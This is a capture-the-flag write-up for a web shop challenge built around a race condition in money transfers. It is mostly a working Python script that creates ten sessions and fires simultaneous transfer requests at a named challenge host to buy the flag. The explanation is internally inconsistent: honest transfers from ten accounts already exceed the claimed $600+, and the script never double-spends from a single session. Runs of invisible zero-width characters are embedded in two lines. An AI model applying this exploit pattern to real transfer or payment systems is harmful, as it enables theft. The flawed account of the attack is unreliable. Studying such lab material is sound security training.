Race Shop 2

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: concurrent_requests, double_spending, race_condition_exploitation

Summary

Walkthrough of the CUSTOM Web Race Shop 2. Web shop challenge where you need to exploit a race condition to accumulate enough money to buy the flag. Each user starts with limited money ($100), and the shop has a "share money" feature for trans

Description

Web shop challenge where you need to exploit a race condition to accumulate enough money to buy the flag. Each user starts with limited money ($100), and the shop has a "share money" feature for transferring money between users.

Analysis

The vulnerability is a classic TOCTOU (Time of Check to Time of Use) race condition in the money transfer mechanism:

1. Server checks the user's balance
2. If balance is sufficient — performs the transfer
3. There is no lock between the check and the deduction
4. With simultaneous requests, the same money can be "spent" multiple times ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Creating Multiple Sessions

Create 10 separate user sessions, each with a starting balance of $100.

Step 2: Preparing the Target Account

Create a target account that will receive all transfers.

Step 3: Simultaneous Money Transfer

Use multithreading to simultaneously send money from all 10 sessions to the target account.

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import requests
import threading
from concurrent.futures import ThreadPoolExecutor

BASE_URL = "https://web-kids20.forkbomb.ru/websrv2_race_shop_2"
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# Create multiple sessions
sessions = []
for i in range(10):
    s = requests.Session()
    # Register/login each session
    s.post(f"{BASE_URL}/register", data={"username": f"user{i}", "password": "pass123"})
    s.post(f"{BASE_URL}/login", data={"username": f"user{i}", "password": "pass123"})
    sessions.append(s)

# Create target user
target = requests.Session()
target.post(f"{BASE_URL}/register", data={"username": "target_user", "password": "pass123"})
target.post(f"{BASE_URL}/login", data={"username": "target_user", "password": "pass123"})
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# Race condition exploit - send money simultaneously
def send_money(session, amount=100):
    return session.post(f"{BASE_URL}/transfer", data={
        "to": "target_user",
        "amount": amount
    })

# Execute all transfers simultaneously
with ThreadPoolExecutor(max_workers=10) as executor:
    futures = [executor.submit(send_money, s) for s in sessions]
    results = [f.result() for f in futures]

# Check target balance
resp = target.get(f"{BASE_URL}/balance")
print(f"Target balance: {resp.text}")
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# Buy the flag
resp = target.post(f"{BASE_URL}/buy", data={"item": "flag"})
print(f"Flag: {resp.text}")

Step 4: Buying the Flag

Thanks to the race condition, the target user accumulated $600+ (more than should be possible with honest transfers). Use the accumulated money to buy the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering concurrent_requests, double_spending, race_condition_exploitation was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

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Crafted by XESXOR Research • 2026-03-11 • CUSTOM • Race Shop 2 • Difficulty: Medium